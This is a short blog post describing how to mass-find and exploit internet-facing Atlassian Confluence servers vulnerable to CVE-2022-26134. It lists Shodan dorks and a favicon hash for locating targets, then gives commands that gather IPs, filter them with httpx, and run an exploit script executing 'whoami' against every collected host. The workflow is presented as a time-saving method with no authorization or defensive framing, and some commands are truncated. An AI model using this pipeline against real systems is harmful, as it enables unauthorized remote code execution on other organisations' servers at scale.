How I was able to find 150+ vulnerable applications to CVE-2022–26134 | A Zero-day RCE

Abhishek Morla
2 min readSep 24, 2022

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Let's not dive into the heart of this CVE you can prefer this medium blog for a detailed analysis of this zero-day: “CVE-2022–26134
The main concern about this blog is to share with you how can you automate and save time.

Here is the link: “CVE-2022–26134 with shodan

The first part of the repository will collect all the IPs depending on which dork you have provided in the -d argument. you can use these shodan dorks to find Atlassian confluence applications :

http.component:”atlassian confluence”


http.title:”Log In — Confluence” 200

http.component:”atlassian confluence” http.title:”Log In — Confluence” 200

http.favicon.hash:-305179312 200

So, run the shodan scripts to grab all the IPs

python3 -API xxxxxxx -L 10 -D “http.favicon.hash:-305179312 200” > log.txt

Now we will use httpx to get all the valid IPs

cat log.txt | httpx -o forexploits.txt

Finally, run the exploit script against all the valid collected IPs

python3 CVE-2022– forexploits.txt “whoami”

It will print the IP and command for vulnerable hosts.

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Abhishek Morla

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